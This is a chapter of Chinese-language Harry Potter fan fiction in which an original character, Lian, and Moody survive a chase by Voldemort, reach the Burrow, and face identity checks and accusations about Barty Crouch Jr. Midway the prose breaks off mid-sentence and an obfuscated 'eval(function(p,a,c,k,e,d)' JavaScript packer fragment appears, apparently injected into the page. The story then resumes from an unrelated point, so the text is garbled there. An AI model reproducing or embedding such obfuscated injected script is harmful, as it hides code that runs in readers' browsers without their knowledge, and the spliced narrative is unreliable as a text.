”魔咒又隔着夜空发射过来,莉安用了极其不稳定的霹雳爆炸对轰,这个咒语可以让中咒的物体发生剧烈爆炸,它是诅咒的一种,但有一个缺点,就是在碰到物体后会漫无目的的反弹,极有可能伤着自己,但是这次她赌对了,对轰时咒语直接爆炸,离得最近的那个食死徒的被炸得从扫帚上摔了下去,不见踪影,他的同伙落在后面,也消失了。 “干得漂亮!”穆迪一边说一边不停左转右拐,绕来绕去,莉安坐得很不稳当,甚至有点晕扫帚,当食死徒再一次出现时,她跟穆迪射出一个又一个昏迷咒,却没能阻挡他们源源不断的追来,她立刻明白了:就像目的猜测的那样,因为他声名在外,他们认为真正的哈利一定是由他保护的,所以追击他俩的食死徒最多。 她炸掉了一个食死徒的扫帚,对方惨叫着从高空坠落,她又发射了一个万弹齐发,扫帚碎片兜头盖脸的朝那个鬼魅一般飞来飞去的食死徒攻去——她觉得这个突然出现的家伙很危险,但他轻而易举的躲开了,然后,有意无意的,他的兜帽滑了下来,在下一个昏迷咒发出的红光映照下,莉安看到了丈夫的脸。 她立刻把魔杖指向另一个食死徒,咒语强行拐了个弯,小巴蒂冲她眨眨眼睛,不着痕迹的把咒语射歪。 “不好意思,”小巴蒂嘴上说着抱歉,但他的每一个音节都毫无悔意,“打偏了。” 一个戴兜帽的食死徒的叫骂着从高空中坠落,他气急败坏的吼声传到了莉安耳朵里,不过她知道他活不了——这是在几百英尺的高空。 “你这个渣滓!”穆迪吼道,显然,根本不用回头,他就认出了小巴蒂的声音,他的魔杖越过肩膀往后一甩,一道红光划过,小巴蒂又轻松的躲开了。 “他不像波特,”小巴蒂面无表情的说,“波特没有——” 还没等他说完,他附近的两个食死徒就惊喜的大叫一声,落到他身后,“主人来了!” “快快!”莉安看到两个杀戮咒从后面射来,只差一毫米就击中了穆迪,不安的催促道,“黑魔头来了!” “抱紧我!”穆迪大声喊道,“再坚持一会儿,快到了!” 莉安觉得扫帚下降了一些,但地面的灯光看上去仍然像星星一样遥远。 伏地魔像烟一样乘风飞翔,没有扫帚,也没有夜骐,那张蛇脸在黑暗中闪着亮光,苍白的手指举起了魔杖。 莉安也不再隐藏了,面对伏地魔时,全力一搏尚且生死难料,而隐藏实力纯粹是找死,她大喊恒河沙数,标记了穆迪扫帚两边各出现的两个食死徒,在旋转的黑夜中发射了粉碎咒,两个身体从旁边飞过,她知道自己击中了他们,但是又一道绿光飞快的射过,穆迪险而又险的躲过了伏地魔的杀戮咒,扫帚猛烈的晃动,她已经分辨不出上下左右。 这时,伏地魔已经越飞越近,离他们只有几步远,莉安看见他又举起了手臂—— “不!” 莉安大喊一声,发疯一般对他发射杀戮咒,她的杖尖射出耀眼的绿光,两道死咒撞在一起,巨大的爆炸让他们的扫帚猛地往前一蹿。 “不!”伏地魔发出一声冷酷高昂的尖叫,“他不是波特!” “没错,主人,”小巴蒂又急又快的说,他的语速快得就像湍急的河水,很怕来不及了似的,“波特不会用杀戮咒,他没那个胆子,这肯定是——” “是那个抓了卡罗兄妹的傲罗!”另一个食死徒吼道,“她的咒语可以同时击中两个人!” 莉安和伏地魔对视了,她正撞上那双红红的蛇一样的眼睛,伏地魔又举起魔杖,似乎她不是波特也没关系,他想要解决掉她和穆迪——两个强大的傲罗,也许这双眼睛就是她这辈子看到的最后一样东西了:伏地魔正准备再次对她念出一个死咒—— 小巴蒂已经逐渐接近了莉安,在伏地魔背后举起了魔杖,这时,伏地魔突然停了下来。 “他们发现了波特!有人触碰了黑魔标记,跟我走!” “你别想抓到波特!”穆迪大吼一声,扫帚径直朝地面猛冲下去。 “快走!”莉安死死的抱住穆迪的腰,“黑魔头已经追击哈利去了!” 小巴蒂瞥了她一眼,那目光中闪动着不易察觉的担忧,然后抓着他主人的袍子幻影移形了,穆迪在降落途中不小心中了另一个食死徒临走时发射的昏迷咒,对方幸灾乐祸的笑着,看他们被地心引力吸引着加速坠向地面。 莉安只能看见远处的灯光越来越近,她恐怕要摔死了,只好在那个食死准备徒幻影移形时拼尽全力对着他的胸口发射了霹雳爆炸,对方瞬间发生了恐怖的分体,一堆肢体七零八落的往地面上坠去。 “不!莉安!”远处传来了一声呼喊。 莉安没时间去找发出声音的比尔,她借着爆炸产生的烟雾掩护,放弃了扫帚,而是对穆迪施了一个悬停咒,他下坠的速度变慢了,然后她把魔杖叼在嘴里,迅速变形成一只蓝知更鸟。 莉安警惕的四处瞄了瞄,见四周没人才低头去找穆迪,而穆迪此时昏迷不醒的躺在空气中,她落在穆迪身上,让他继续朝下坠落——已经离目的地很近了。 随着一声噼啦啪啦的炸响,他们穿过屏障,一头栽到了一片房顶上。 32. 明牌 莉安变回人形,废了九牛二虎之力,才让穆迪落回地上,她弯下腰,呼哧带喘了好一会儿,终于发现这里是穆迪房子的花园,曾经被小巴蒂弄翻躲过魔法部盘查的垃圾箱静静的立在一个角落里。 因为保护咒的原因,这次他的麻瓜邻居没有听到他们穿过保护屏障发出的巨大声响,也许伏地魔正在唐克斯父母家一百米的上空,绞尽脑汁的想穿透哈利头上那个透明的保护咒。 莉安的魔杖指向穆迪,用了快快复苏,穆迪的脸上还有咒语带来的擦伤,满是血污,但他呻吟一声,睁开了眼睛——他奇迹般的活着。 “莉安,噢…”穆迪东倒西歪的站了起来,撞倒了院子里的一棵蜘蛛抱蛋(一种多年生常绿草本植物),他一瘸一拐的去了房子里,正在找一条新拐杖,“活下来就好…活下来就好…这是死里逃生,看到黑魔头的时候,我还以为我们都会完蛋了。” “是啊,他去追哈利了——” 莉安突然住了口,穆迪的呼吸声粗重了一瞬,他们变得忧心忡忡起来,毕竟伏地魔带着他的手下中途转到哈利那边,也许小天狼星和哈利都会… “门钥匙,”穆迪说,他的思维一瞬间清醒了,“我们必须马上回陋居弄清情况,波特不会有事的,不会有事的…” “门钥匙就在这儿,”他又关心的打量着莉安,“你没受伤吧?如果我们想用它,应该是三分钟内出发。” “我没受伤,现在就走吧,”莉安松了口气,跟着他穿过一条短短的过道,进入了他的卧室,“我很担心他们,也不止是哈利,我好像还听到了比尔的吼叫。” “走吧,孩子,这是门钥匙。” 穆迪指着他衣柜里一个歪歪扭扭的破衣架。 莉安探身把一个手指放在上面,准备离开,衣架放射出耀眼的蓝光,穆迪也把食指放在它上面。 说时迟那时快,似乎肚脐眼后面有一个无形的钩子猛地向前一钩,莉安和穆迪忽地一下离开了卧室,被拽着飞入虚空之中,他们无法控制的旋转着,手指紧紧粘在门钥匙上。 几秒钟后,莉安的双脚重重的落在坚硬的地面上,她摇晃着身体,差点摔倒。 穆迪因为瘸腿,摔在了陋居的院子里,一声尖叫传来,莉安把不再闪光的破衣架扔到一边,扶着晃晃悠悠的穆迪起身,这时莫丽和金妮正从后门跑下台阶。 “阿拉斯托?噢,我知道这是莉安…你们没事儿吧?其他人怎么样了啊?”莫丽大声问。 “你说什么?有人已经回来了吗?”穆迪喘着粗气问。 “是哈利和西里斯先回来了,他们骑摩托车,飞的最快,已经回来了,”莫丽着急的说,“到底怎么回事?食死徒怎么会知道你们的计划?哈利告诉我,你们一出发就被包围了——” “他们知道是今晚转移波特,消息走漏了,”穆迪说,“我不知道别人怎么样了,有源源不断的食死徒追我们,我们只能拼命战斗,后来伏地魔追上来,差点把我们两个杀了,然后他发现了波特,就放弃了追击我和莉安。” “我并不知道其他人现在什么情况,”莉安正在变形成她原本的模样,但她歉疚的看着莫丽,“当时一片混乱,我只听到了比尔的声音。” “谢天谢地,你平安就好。”莫丽把她拉到怀里搂着,亲吻她的面颊,莉安觉得很羞愧。 “莫丽,来点酒,”穆迪粗声粗气的说,“当药用的,不过是一些小伤。” 莫丽完全可以用飞来咒,但她匆匆的朝歪歪斜斜的房子里跑去,莉安知道她是不想让别人看见她的表情,她转向小表妹,金妮立刻善解人意的回答了她无声的询问。 “罗恩和唐克斯应该第一批回来,但他们错过了门钥匙,门钥匙自己回来了。”金妮指了指旁边地上一个锈迹斑斑的油罐。 “还有那个,”她又指了指一只破旧的旅游鞋,“是爸爸和弗雷德的,他们应该第二批到达,虽然哈利和西里斯应该是第三批,但他们却到的最快。” “然后,”她看了看表,“如果不出意外,乔治和卢平应该在一分钟内回来。” 莫丽拿着一瓶火焰威士忌回来了,她把酒递给穆迪,穆迪拔出瓶塞,痛饮一大口。 “走吧,我们去看看哈利和西里斯,”莉安点点头,往房子里走去,“他们没事就好。” “西里斯受了伤,不过不算太严重,”金妮说,“哈利没事,但是他的猫头鹰死了。” 这时,哈利已经从门里飞奔出来,“莉安!你们平安无事吧?我刚才在屋里听到了,伏地魔也追你们了?” “没事。”莉安了扯开嘴角,露出一个有些僵硬的笑容。 “妈妈!”金妮指着几步开外的一个地方喊道。 黑暗中突然有了一点蓝光,越来越大,越来越亮,接着卢平和乔治出现了,嗖嗖旋转着落到地上。 莉安立刻知道出事了,因为卢平架着乔治,乔治满脸是血,不省人事。 她和哈利跑过去抓住乔治的腿,和卢平一起抬着乔治走进房子,穿过厨房来到客厅,把他放在沙发上。 柔和的灯光照在乔治的脑袋上,金妮倒吸了一口冷气,莉安心脏猛地跳了起来——乔治的一只耳朵不见了,他脑袋一侧和脖子里满是殷红的、触目惊心的鲜血。 莫丽刚俯下身去查看她的儿子,卢平就一把抓住哈利的和莉安胳膊,颇为粗暴的把他们拉进厨房,穆迪怒吼着跟了进来。 “莱姆斯!你真是疯了!”他气愤的喊道,“放开他们!” 卢平没理睬他。 “哈利·波特第一次到我在霍格沃茨的办公室的时候,蹲在墙角的是什么动物?”他轻轻摇晃了一下哈利说,“快回答!” “是一个格林迪洛,关在水箱里,对吗?” 卢平松开了哈利,魔杖指着莉安,“我私底下教给你的第一个咒语是什么?” “发射咒,用来对付皮皮鬼。” 他松了口气,仰身靠在厨房的碗橱上。 “这是搞什么鬼?”穆迪吼道。 “对不起,但我得核实一下,”卢平生硬的说,“有人叛变了,伏地魔知道我们今晚转移,只有直接参与制订计划的人才会向他通风报信,我担心我们之间某个人可能是个冒牌货。” “那你干吗不来核实我?”穆迪怒气冲冲的说,“我是这样让你保持警惕的?” “噢对,虽然我认为这不可能,毕竟你已经有过一次被人伪装的经验了,但你提醒了我,万一这种事再次发生呢?”卢平突然紧张兮兮的看着他,“告诉我,你鼻子那块肉是谁干的?” “罗齐尔!”穆迪怒吼着说,“如果真是哪个食死徒假扮了我们,他肯定会先用夺魂咒套出答案的!小克劳奇就是这样!” “凤凰社的人谁也不会告诉伏地魔我们今晚转移,”哈利说,“伏地魔是最后才来追我的,他一开始并不知道哪个是我,如果他真的掌握了整个计划,一上来就会知道跟着西里斯的那个才是我。” “伏地魔追上你们了?”卢平警惕的问,“后来呢?你们是怎么逃脱的?” 哈利简单解释了一下,说追赶他们的食死徒认出了他是真哈利,他们突然放弃追赶,触碰了黑魔标记,伏地魔刚一出现,他和小天狼星就到达了唐克斯父母家的安全区。 “他们认出了你?怎么会呢?你做了什么?” “我…嗯…”哈利紧张的说,“我看见了斯坦·桑帕克…你知道吧?就是骑士公共汽车上的那个售票员,我想给他施个缴械咒,唉,他根本不知道自己在做什么,他肯定中了夺魂咒!” 卢平一脸惊愕。 “哈利,缴械咒的时代已经过去了!这些人想要抓住你、干掉你!即使你不想杀人,至少也得用昏迷咒啊!” “我们当时在高空!斯坦又是糊涂状态,如果我把他击昏,他肯定会掉下去,就像我对他施了索命咒一样必死无疑!两年前,除你武器就曾让我从伏地魔手里死里逃生。”哈利倔强的说。 “是啊,哈利,”卢平努力克制的说,“有一大批食死徒目睹了当时的情景!但是请原谅——在生死攸关的紧急关头,这种举动是十分反常的,食死徒目睹或听说过你的那次行为,今晚你在他们面前故技重演,简直等于是自杀!” “那你认为我应该杀死斯坦·桑帕克?”哈利气愤的说。 “当然不是,”卢平说,“但是食死徒——坦白的说,大多数人都以为你会出手反击!除你武器是一个很有用的咒语,哈利,但食死徒似乎把它看成你的标志性行为,我强烈要求你别造成这种情况!” “我不能无缘无故的把挡我路的人咒死,”哈利不甘示弱的说,“那是伏地魔的做法。” 卢平无言以对,莉安颇有些头痛,她这次站卢平,因为哈利有时候比卢平还圣父,这可是你死我活的时候,她甚至敢大着胆子跟伏地魔对波索命咒,也不在乎是不是用非法咒语了,因为她很清楚,这不是闹着玩儿的,这是真实的战争,心慈手软只会伤害到自己这边的人。 “乔治不会有事吧?”她转移话题。 听到这话,卢平叹了口气。 “我想不会,但他的耳朵不可能修复了,那是被咒语击掉的,你知道的,黑魔法造成的伤害不能——” 外面突然传来一阵乱哄哄的声音,卢平立刻朝后门口冲去,哈利也迅速奔到院子里,莉安跟在他们身后,她心里难受极了,因为她跟乔治的感情最好,弗雷德会对其他女孩子感兴趣,比如安吉丽娜,但乔治很少重色轻友,他们读书时,她明显跟乔治在一起的时间更多。 院子里出现了两个人影,赫敏正在恢复她自己的相貌,和金斯莱一起抓着一只破易拉罐,金斯莱看见他们却没有露出一丝喜悦,他举起魔杖,对准卢平的胸口。 “邓布利多对我们俩说的最后一句话是什么?” “哈利是我们最宝贵的希望,一定要相信他。”卢平说。 金斯莱又把魔杖转向哈利和莉安,卢平静静的说,“是他们,我检查过了。” “好吧,好吧!”金斯莱说着把魔杖重新塞进长袍,“但是有人叛变了!他们知道了,他们知道是今晚!” “好像是的,”卢平回答,“但看来他们不知道会有七个哈利。” “那也好不了多少,”金斯莱恶声恶气的说道,“还有谁回来了?” “你都看到了。” 赫敏用手捂着嘴,低低的哼了一声,但她偷偷瞟了莉安一眼。 莉安用审视的目光看着她,赫敏又缩了回去。 “你们怎么样?”卢平问金斯莱。 “五个人追,伤了两个,大概死了一个,”金斯莱一口气的说,“我们看见神秘人了,他一开始追我们,可是很快就消失了,莱姆斯,他会——” “会飞,”哈利插嘴道,“我和莉安也看见了,他最后来追西里斯和我。” “怪不得他跑了,原来是去追你们了!”金斯莱说,“我还想不通他为什么消失呢,可能是赫敏哪里不对,可是他怎么会找到哈利呢?” “哈利对斯坦·桑帕克表现得太仁慈了点儿。”卢平说。 “他不是在阿兹卡班吗?”赫敏诧异的问。 金斯莱悲哀的笑了一声。 “赫敏,显然这次发生了集体越狱,但魔法部封锁了消息,我和唐克斯还有莉安都没得到消息,我们被魔法部放弃了,斯克林杰在提防我们,我给特拉弗斯念咒时,他的兜帽掉了,他也应该关在牢里的,你们怎么样,穆迪呢?乔治呢?” “我没事!”穆迪粗声粗气的声音从客厅传来,“多亏了莉安!不过这也没办法,黑魔头来追我们,她不得不暴露实力,被发现不是波特,因为就差一点儿,如果不是其他渣滓刚好通知了他,他们找到了波特,黑魔头已经打算把我们两个干掉了…” “乔治丢了一只耳朵,”卢平压抑着愤怒的说,“斯内普干的。” “斯内普?”莉安莉尖叫了起来,“这个畜牲,他死定了——” “他在追赶中兜帽滑掉了,神锋无影一直是斯内普的拿手功夫,我真希望当时以牙还牙的报复他,可是乔治受伤后,我只能尽力扶着他待在扫帚上,他失血太多了。” 沉默中,所有人抬头望着天空,四下里没有一点儿动静,星星从云层里钻了出来,它们没有被飞翔的身影遮掩。 罗恩和唐克斯在哪里?弗雷德和亚瑟在哪里?比尔和芙蓉又在哪里? 莉安回到客厅,穆迪正坐在那里一口一口的喝酒,而莫丽和金妮还在照料乔治,就着灯光,莉安看见血已经止住了,但是乔治的耳朵不见了,只留下一个清清楚楚的大洞。 “他还好吗?” 莫丽抹着眼泪说,“我没法让它重新长出来,这是被黑魔法弄掉的,除非有反咒,但是不幸中的大幸…他还活着。” “我好像听见院子里还有别人?”金妮问。 “赫敏和金斯莱。”莉安气得胸脯不停起伏。 “谢天谢地。”金妮小声说,拍拍后背帮她顺了口气,这时,厨房里突然传来哗啦一声巨响。 “我会证明我是谁的,金斯莱,但我要先看看我的儿子,你要知趣就赶紧闪开!” 亚瑟高喊着冲进客厅,莉安从来没见他这样紧张过,他的秃脑袋上汗珠闪亮,眼镜歪斜着,弗雷德跟在他身后,两人都脸色苍白,但并未受伤。 “亚瑟!”莫丽啜泣着说,“哦,感谢上天!” “他怎么样?”亚瑟扑通一声跪倒在乔治身边,抚摸着他儿子的脸颊,弗雷德从沙发背后目瞪口呆的望着乔治的伤口,似乎不敢相信自己的眼睛。 乔治动了动。 “你感觉怎么样,乔治?”莫丽轻声问道。 乔治用手指摸索着脑袋的一侧。 “我有个洞,”他喃喃的说,“你看,弗雷德,这下所有人都能分清我们了。” 莫丽哭得更伤心了,弗雷德苍白的脸上顿时泛出血色。 “罗恩和比尔怎么没有挤在我的病榻周围?” “他们还没回来呢,乔治。”弗雷德说。 乔治脸上的笑容不见了。 小天狼星仍在昏迷,伏地魔咒语几次差点落在他身边,哈利去照顾他了,莉安坐在客厅的一角,担忧的望着乔治,她旁边是不停往嘴巴里倒酒的穆迪,而其他人一直在院子里等待着。 时间一分一秒的过去了,感觉有许多年那么漫长,稍有风吹草动,大家就惊跳起来,转向沙沙作响的树丛和灌木丛,希望能看到某个失踪的凤凰社成员安然无恙的从树叶间一跃而出。 过了一会儿,一把扫帚在夜空中显出形状,朝地面疾驰而来。 “是他们!”赫敏叫道。 唐克斯落地时滑出很远,蹭得泥土和卵石四处飞溅。 “莱姆斯!”随着一声喊叫,唐克斯跌跌撞撞的下了扫帚,扑进卢乎怀里,卢平神情严峻,脸色苍白,似乎说不出话来。 罗恩晕头晕脑的朝哈利和赫敏跑去。 “你们都没事吧。”他喃喃的说,赫敏奔过去紧紧搂住了他。 “我还以为——我还以为——” “我没事儿,”罗恩拍着赫敏的后背说,“我挺好。” “罗恩可真了不起,”唐克斯松开卢平,兴奋的说,“他击中了一个食死徒,正好击中脑袋,要从飞行的扫帚上瞄准一个移动目标——” “真的?”赫敏说,她用胳膊搂着罗恩的脖子,抬头看着他。 “老是用这种惊讶的口吻,”罗恩粗暴的说,挣脱了赫敏,“我们是最后回来的?” “不是,”金妮说,“我们还在等比尔和芙蓉,罗恩,我去告诉爸爸妈妈你没事儿——” 她跑进了屋里。 “你们怎么耽搁了?出什么事了?”听这口气卢平简直是在生唐克斯的气。 “贝拉特里克斯,”唐克斯说,“她不顾一切的想抓我,莱姆斯,她千方百计想要我的命,就像对西里斯那样,我真希望抓住她,不过我击伤了罗道夫斯…后来我们到了罗恩的穆丽尔姨婆家,却错过了门钥匙,她把我们好一顿埋怨——” 卢平面颊上的一块肌肉在跳动,他点点头,不再说话了。 “你们大家情况怎么样?”唐克斯转向其他人。 他们又讲述了各自的遭遇,可是比尔和芙蓉还没有回来,这事实像雪崩一样压在他们心头,那冰冷的寒意越来越叫人无法忍受。 “我得回唐宁街了,一小时前我就应该到那儿的,麻瓜首相离不开我,”金斯莱最后扫了一眼天空,说道,“他们一回来就告诉我。” 大家点点头,金斯莱挥了挥手,穿过黑暗朝大门口走去,噗的一声轻响,金斯莱一出陋居的范围就幻影移形了。 韦斯莱夫妇快速奔下后门的台阶,后面跟着金妮,他们搂了搂罗恩又转向卢平和唐克斯。 “谢谢你们,”莫丽语无伦次的说,“为了我们的儿子,谢谢你们。” “别说傻话了,莫丽。”唐克斯立刻说。 这时,一匹夜骐赫然出现在天空,降落在离他们几步远的地方,比尔和芙蓉从夜骐背上滑下来,头发被风吹得乱蓬蓬的,但并没有受伤。 “比尔!谢天谢地,谢天谢地——” 莫丽跑上前去,但比尔只是草草的搂着她,眼泪流了出来,“穆迪和莉安死了。” 没有人说话,没有人动弹,莉安在客厅里简直惊呆了,她望着门口,而穆迪举起酒瓶的手抖了抖,差点把酒洒在身上。 “我们看见了,”比尔说,芙蓉也点点头,在厨房窗口的灯光映照下,她面颊上的泪痕闪闪发亮,“我们刚刚突破包围圈,飞了一会儿,事情就发生了,穆迪和莉安就在我们近旁,也是往北飞,伏地魔——他会飞,直接就去追他们了,我看到莉安跟他搏斗,一个食死徒的咒语不偏不倚的击中了穆迪,他朝前一倒,整个扫帚掉了下去,然后莉安的咒语爆炸了,她尸骨无存,我们在一旁眼睁睁的看着,飞得越来越远——我们毫无办法,因为有六七个人在后面追我们…” 比尔说不下去了,他哭得稀里哗啦。 “你们当然没有办法。”卢平的嘴角抽搐着。 刚看到莉安和穆迪的几人站在那里面面相觑,他们的目光投向客厅,忍不住思索,难道这两个人是食死徒假扮的吗? “不是!”卢平仿佛知道他们在想什么,他尖锐的说,“我问过了!” 比尔和芙蓉完全摸不着头脑,他俩掉着眼泪,默默的跟在所有人身后返回陋居,当他们走进客厅时,弗雷德和乔治正在那里哈哈大笑。 “怎么样?”乔治斜着眼睛看比尔痛哭流涕的表情,“出什么事了?” “莉安和穆迪,”比尔抽泣着说,“他们死了。” 双胞胎兄弟笑得更大声了,简直都快上气不接下气,但唐克斯用手帕捂着脸默默哭泣,她跟穆迪和莉安一直很亲密,他们是她在魔法部里最好的朋友,而且她一直深受穆迪的关照,和莉安一同出任务。 比尔谁也没看,闷头走到餐具柜前,拿出一瓶白兰地和几只玻璃杯。 “给,”他一挥魔杖,让十几只斟满酒的玻璃杯飞到屋里每个人手中,然后自己高举起另一只杯子,“敬穆迪。” “敬你个头!”穆迪愤怒的吼道。 比尔和唐克斯诧异的寻找声音的来源,这才看到穆迪正坐在角落里,手里握着火焰威士忌的空瓶子,而莉安在他旁边,面无表情的看着他们。 “太好了,你们没死——”唐克斯惊喜的喊道。 “不可能!这是我亲眼所见!” 比尔大步走了过来,他扔掉了玻璃杯,杯子落在地上摔了个粉碎,但他没在意脚下的玻璃碎片,而是抽出魔杖,指着莉安的脸,“你到底是谁?你骗不了我!” “我没死,比尔。” “不许骗我!不许你顶着她的脸骗我!”比尔歇斯底里的喊着,看上去完全失控了,眼泪从他满是疤痕的脸上滑落,“莉安最害怕什么?回答我!” “雷雨天。” “我第一次给她念的睡前故事是什么?” “《疯麻瓜马丁·米格斯历险记》。” 莫丽拦住了比尔,“够了,比尔,她是莉安,她没有死…” “不,”比尔愤怒的喊道,“我们都知道德力士中了唐克斯的混淆咒,才会在魔法部散播哈利30号才离开的假消息,他们已经控制了魔法部一半的人,包括傲罗指挥部,莉安一定是中了夺魂咒,她告诉过他们这些事,不…我有办法证明!” “别人都有可能中食死徒的夺魂咒,但她肯定不会。”赫敏突然说。 “不!比尔!”莉安完全顾不上赫敏,她的心都提到了嗓子眼儿,“比尔!表哥!求求你,不要问了,我可以证明自己的,你知道的,但是现在不行,在这里不行,我——” “莉安和我说,她最喜欢什么?”比尔没有放松那只握着魔杖的手,只是紧紧的盯着莉安,杖尖已经抵住了她的脖子。 莉安的嘴唇抖动着,她恳求的看着惊呆了的莫丽,又把视线转向一头雾水的芙蓉。 “快说!” “要不你就说吧,”穆迪没好气的用拐杖敲了敲地面,“这孩子真倔!” “我喜欢…”她祈求的看着警惕的比尔,但比尔似乎笃信她这个冒牌货不会知道答案,只好颤抖着重复道,“我喜欢你抱着我…一起听下雨的声音…” 到最后,她的声音已经微不可闻了。 其他人目瞪口呆的看着这一幕,仿佛撞破了一个大秘密,不该知道这种隐私或者韦斯莱的家丑,他们尴尬的低着头,似乎恨不得化作蒸汽消失,直到双子叹息一声,打破了沉默。 “她就是莉安呀,我都认出来了。”弗雷德说。 “她一直守在我身边,如果是食死徒,她会这么心疼我吗?”乔治说,“现在你有大麻烦了,比尔。” 亚瑟愣愣的看着他们,“什么意思?” “原来她就是你那个前女友!”芙蓉愤怒的冲了上来,揪着怔怔的比尔,她美丽的脸蛋儿涨得通红,“你不是说她嫁人了吗?” “她的确嫁人了。”罗恩傻乎乎的说,他还没搞清楚情况。 “但我不知道他们还能时常见面!”芙蓉愤怒的提高了嗓门,“就在我眼皮子底下!” “我从来没有跟比尔单独接触过!” “是的,”比尔终于清醒了,“我们很久没有联系过了,芙蓉,你别生气——” 芙蓉愤怒的甩了甩头发,一言不发的坐在沙发上,比尔连忙凑了过去,但芙蓉扭过头,甩开了他的手。 “等等,这不是重点!”穆迪终于回过味儿来,打量着不知所措的莉安,“我昏迷的时候到底发生了什么?你怎么消失的?又怎么把我带回我家的?恐怕比尔他们看到的才是真的吧?” 这时,噼啪的爆裂声传来,小巴蒂匆匆的穿过院子走进了客厅。 “你没事儿吧?”他急切的拉着莉安左看右看,确定她没受伤之后,立刻把她搂进怀里。 “干嘛?三堂会审?”小巴蒂瞥了穆迪一眼,语气低沉的说。 “我们的计划被泄露了!” “我知道你在想什么,穆迪,”比尔终于接受了莉安没死的事实,他长长的舒了口气,说道,“在回这里的路上,我也有过那样的疑问,因为他们似乎知道我们要来,不是吗?但告密的不可能是莉安,他们不知道会有七个哈利,我们一出现,就把他们搞糊涂了,反而是蒙顿格斯,这个替身的点子就是他提出来的,但我想也不是他,不然他为什么不把最关键的一点告诉他们呢?我想不明白,而且神秘人朝你们追了过去,恐怕换了谁都会惊惶失措,但你活下来了,莉安救了你,她肯定会有自己的办法,就像她那个秘密的咒语,没准儿就是她母亲家族流传下来的古代魔法。” “神秘人的做法跟我们预料的完全一样,”唐克斯说,“就像你说的,穆迪,神秘人肯定以为真正的哈利会跟最强悍、最有经验的傲罗在一起,也许他认为我们在故布疑阵,所以他首先追了金斯莱,赫敏肯定和哈利的施咒方式不一样…所以他又去追你…” “是这样的,”莉安说,“他很快就发现了我不是哈利,因为我没办法看穆迪死在那里,我用了我独有的咒语。” “是啊,那都没有问题,”芙蓉毫不客气的说,“可是仍然无法解释他们怎么知道我们今晚转移哈利,不是吗?肯定有人大意了,有人不小心把日期透露给了外人,这样才能解释他们只知道日期但不知道整个计划。” 她默默的瞪着大家,想看有谁出来反驳她,美丽的脸上仍然印着泪痕,还气呼呼的,但没有人说话。 “不会的,”哈利突然大声说道,所有人都吃惊的望着他,“我的意思是,即使有人不小心犯了错误,泄露了消息,但我想他肯定不是故意的,不能怪他,我们必须彼此信任,我信任你们,我认为这个房间里的人谁也不会把我出卖给伏地魔。” 他说完后又是一阵沉默,大家都看着他,哈利喝了几口白兰地,这时,莉安想到穆迪以前总是责骂邓布利多轻易相信别人。 “说得好,哈利。”弗雷德出人意外的说。 “没错,说得好。”乔治瞥了瞥弗雷德,弗雷德的嘴角在抽动。 卢平看着哈利,脸上的表情很古怪,简直近似于怜悯。 “你认为我是个傻瓜?”哈利质问道。 “不,我看你真像詹姆,”卢平说,“他认为不信任朋友是最最可耻的事情。” “但是她到底怎么消失的?”穆迪怀疑的问。 “听上去有点熟悉。”赫敏小声的说。 “我得走了。”哈利突然说道。 所有人齐刷刷的看着他。 “别傻了,哈利,”莫丽说,“你在说什么呀?” “我不能待在这儿,”哈利说,“我在这儿,你们都有危险,我不想——” “别说这种傻话!”莫丽大声的说,“今晚最关键的就是把你安全的转移到这里,谢天谢地,我们成功了,芙蓉同意不在法国、而在这里结婚,我们一切都安排好了,大家都可以留下来照顾你——” 哈利听了她的话反而更难受了。 “如果伏地魔发现我在这儿——” “但他怎么会发现呢?”莫丽纳闷的问。 “你现在有可能在十几个地方呢,哈利,”亚瑟满怀自信的说,“他不可能知道你到底藏在哪座安全的房子里。” “我不是为自己担心!”哈利说。 “我们知道,”亚瑟轻声安抚着他的情绪,“但如果你离开,我们今晚的努力就显得毫无意义了。” “你哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芙蓉被他这理直气壮的口吻噎住了,一时竟不知如何反驳。 “你怎么会在这里?”穆迪警惕的问。 “你不知道我是凤凰社的人吗?”小巴蒂的腔调里透露着他惯有的不耐烦,“如果你不知道,你就去问阿不福思,他能证明我的身份。” 这时,赫敏悄悄溜了进来。 “你是凤凰社的人?” “不然呢?”小巴蒂意味不明的看着她,“我知道你很聪明,格兰杰,但是你那聪明的小脑袋瓜可不一定每次都能想对。” “恐怕之前不是吧?”赫敏意有所指的说,“其实我也对莉安怎么消失很感兴趣。” “够了!”莉安冷冷的说,“早知道你们要问这个,我就不那么大费周章了,得到穆迪的死讯你们才开心是吧?” “这到底是什么意思?”罗恩倚在门口,愣愣的看着他们。 “我不信!”赫敏尖叫,“他有问题!” 她指着小巴蒂,眼睛睁得大大的,“你——” “赫敏——”莉安瞪着她。 “——你们两个!” “格兰杰,镇静。”小巴蒂淡定的说。 “我谁也没说!”赫敏尖叫道,“但今天——” “赫敏!”莉安大叫,“不是你想的那样——” “我终于想明白了,是你出卖了计划,”赫敏继续喊道,“你们别相信她!她一直在帮助小克劳奇!甚至帮他越狱!她嫁给了他!他就是小巴蒂·克劳奇!那不是樱桃汁,是复方汤剂!” 一阵沉寂,现在大家的眼睛都转向了莉安和小巴蒂,莉安脸色苍白,小巴蒂却很镇静。 “你们想想吧,紧要时刻突然消失,这跟小克劳奇越狱时一模一样,那个协助他的女人,”赫敏平静的说,“我不知道穆迪昏迷后发生了什么,但她肯定有自己的办法,她并没有完全消失,而是施了一个复杂的咒语,就像她帮助小克劳奇那样,她帮助了穆迪,没有让他真的摔死,我甚至怀疑,第三场比赛时,她压根没有中夺魂咒,故意帮小克劳奇逃跑。” “不,我是真的中了夺魂咒,他不想我被送到黑魔头那里去,”莉安声音有些发紧,“不过的确在摄魂怪来之前,我就摆脱了他的控制,你说得对,我是故意帮他逃跑的,因为我不能让他受到伤害。” “这和你平时的水平不相称啊,格兰杰,”小巴蒂放下了手中的樱桃汁,戏谑的说,“你猜得很准,但并不是我和莉安出卖了计划,这是斯内普干的,蒙顿格斯中了他的混淆咒,我并没有一直帮助伏地魔,要知道,我可是一直在伏地魔身边追击金斯莱、穆迪和西里斯啊…如果我想,只需要轻轻的放个咒语,恐怕有些人已经死掉了吧?或者他直接就奔着波特去了?” 